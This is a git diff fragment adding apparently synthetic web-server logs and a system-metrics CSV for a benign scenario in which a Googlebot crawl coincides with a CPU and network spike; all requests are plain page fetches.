AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:26 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:26 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:29 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:29 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:31 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:31 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:31 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:31 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:33 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:05:33 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:35 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:05:35 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:41 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:41 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:43 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:43 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:05:44 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:05:44 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:46 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:46 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:47 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:47 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:49 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:05:49 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:51 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:51 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:55 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:05:55 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:01 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:01 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:06 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:06 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:09 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:09 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:10 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:10 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:17 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:17 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:19 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:19 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:21 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:21 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:21 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:21 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:22 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:22 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:26 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:26 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:27 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:27 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:32 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:32 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:36 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:36 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:38 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:38 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:40 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:40 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:43 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:43 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:44 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:44 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:45 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:45 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:46 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:46 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:50 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:50 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:50 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:50 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:06:53 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:06:53 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:55 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:55 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:56 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:06:56 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:59 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:06:59 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:01 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:07:01 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:01 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:07:01 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:03 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:07:03 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:05 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:07:05 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:07 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:07:07 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:11 web-server[4321]: 172.16.31.200 - - [02/Jul/2025:12:07:11 +0000] "GET /index.html HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:16 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:07:16 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:17 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:07:17 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:18 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:07:18 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:20 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:07:20 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:21 web-server[4321]: 192.168.1.101 - - [02/Jul/2025:12:07:21 +0000] "GET /about HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:24 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:07:24 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Jul 02 12:07:27 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:07:27 +0000] "GET /contact HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:27 web-server[4321]: 10.0.0.54 - - [02/Jul/2025:12:07:27 +0000] "GET /products/123 HTTP/1.1" 200 1204 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_26.csv b/norm_dataset/scenario_8/norm_8_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..f0ac5d9751bc515178f5c56b1f89aac502ad9cd2 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,18.38,40.2,20.64,0.85,1.27 +2025-08-26T14:00:05Z,16.06,41.74,23.66,1.19,1.36 +2025-08-26T14:00:10Z,18.72,40.81,32.46,1.32,1.14 +2025-08-26T14:00:15Z,12.29,39.01,22.87,1.69,1.98 +2025-08-26T14:00:20Z,10.1,39.01,28.85,1.02,1.45 +2025-08-26T14:00:25Z,15.26,38.99,32.9,1.2,0.93 +2025-08-26T14:00:30Z,15.93,38.28,24.27,0.55,1.74 +2025-08-26T14:00:35Z,14.0,38.58,25.23,0.75,1.35 +2025-08-26T14:00:40Z,19.7,38.64,36.21,1.44,0.99 +2025-08-26T14:00:45Z,12.41,39.41,31.9,1.35,1.22 +2025-08-26T14:00:50Z,11.26,40.26,24.1,0.73,1.37 +2025-08-26T14:00:55Z,18.58,38.83,28.64,1.39,1.55 +2025-08-26T14:01:00Z,17.37,41.67,33.32,1.19,1.49 +2025-08-26T14:01:05Z,19.3,38.46,35.44,1.26,0.62 +2025-08-26T14:01:10Z,19.85,39.72,36.49,1.71,1.19 +2025-08-26T14:01:15Z,14.8,39.06,27.94,1.38,0.8 +2025-08-26T14:01:20Z,12.54,38.82,30.42,1.3,1.33 +2025-08-26T14:01:25Z,18.93,41.85,28.07,0.5,1.53 +2025-08-26T14:01:30Z,16.37,39.59,36.04,1.48,0.63 +2025-08-26T14:01:35Z,10.21,38.35,37.12,1.75,1.41 +2025-08-26T14:01:40Z,15.63,41.98,27.87,1.35,0.52 +2025-08-26T14:01:45Z,18.79,39.38,20.13,1.14,1.74 +2025-08-26T14:01:50Z,13.77,40.76,21.59,1.41,0.58 +2025-08-26T14:01:55Z,10.39,41.98,30.09,1.0,1.04 +2025-08-26T14:02:00Z,13.96,40.6,27.27,1.3,1.88 +2025-08-26T14:02:05Z,11.56,40.08,37.79,0.83,1.1 +2025-08-26T14:02:10Z,17.65,38.36,30.66,0.52,1.02 +2025-08-26T14:02:15Z,13.22,40.85,36.06,0.97,0.7 +2025-08-26T14:02:20Z,18.94,41.09,21.13,1.91,0.69 +2025-08-26T14:02:25Z,12.5,40.59,31.63,1.74,1.49 +2025-08-26T14:02:30Z,71.52,45.79,106.87,21.95,12.61 +2025-08-26T14:02:35Z,70.94,48.72,95.98,18.57,11.33 +2025-08-26T14:02:40Z,85.7,48.03,94.47,16.04,13.67 +2025-08-26T14:02:45Z,94.55,45.68,95.26,22.86,12.96 +2025-08-26T14:02:50Z,85.59,48.22,109.25,18.88,16.36 +2025-08-26T14:02:55Z,82.43,48.95,84.19,16.37,18.83 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"GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:47 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:47 web-app[1784]: 66.249.79.105 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:47 web-app[1784]: 66.249.79.105 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:47 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:47 web-app[1784]: 66.249.79.110 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:47 web-app[1784]: 66.249.79.110 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.101 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.101 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.110 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.110 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:48 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:49 web-app[1784]: 66.249.79.101 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" 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"Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:53 web-app[1784]: 66.249.79.105 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:53 web-app[1784]: 66.249.79.105 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:53 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:53 web-app[1784]: 66.249.79.110 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:54 web-app[1784]: 66.249.79.101 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:54 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:54 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:02:54 web-app[1784]: 66.249.79.110 - "GET /contact HTTP/1.1" 200 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200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:04 web-app[1784]: 66.249.79.101 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:04 web-app[1784]: 66.249.79.101 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:04 web-app[1784]: 66.249.79.105 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:04 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:04 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:04 web-app[1784]: 66.249.79.110 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:05 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:05 web-app[1784]: 66.249.79.110 - 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14:03:09 web-app[1784]: 66.249.79.105 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:09 web-app[1784]: 66.249.79.105 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:09 web-app[1784]: 66.249.79.105 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:09 web-app[1784]: 66.249.79.110 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:09 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:10 web-app[1784]: 66.249.79.105 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:10 web-app[1784]: 66.249.79.110 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:11 web-app[1784]: 66.249.79.105 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 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200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:27 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:27 web-app[1784]: 66.249.79.101 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:27 web-app[1784]: 66.249.79.105 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:28 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:28 web-app[1784]: 66.249.79.105 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:28 web-app[1784]: 66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:29 web-app[1784]: 66.249.79.101 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:29 web-app[1784]: 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66.249.79.110 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:45 web-app[1784]: 66.249.79.101 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:45 web-app[1784]: 66.249.79.101 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:45 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:45 web-app[1784]: 66.249.79.101 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:45 web-app[1784]: 66.249.79.105 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.101 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.101 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.101 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.101 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.101 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.101 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:46 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:47 web-app[1784]: 66.249.79.110 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:48 web-app[1784]: 66.249.79.105 - "GET /services HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:48 web-app[1784]: 66.249.79.110 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:49 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:49 web-app[1784]: 66.249.79.101 - "GET /products/123 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:49 web-app[1784]: 66.249.79.110 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:50 web-app[1784]: 66.249.79.101 - "GET /about HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:50 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:50 web-app[1784]: 66.249.79.101 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:50 web-app[1784]: 66.249.79.101 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:50 web-app[1784]: 66.249.79.105 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 26 14:03:50 web-app[1784]: 66.249.79.110 - "GET /contact 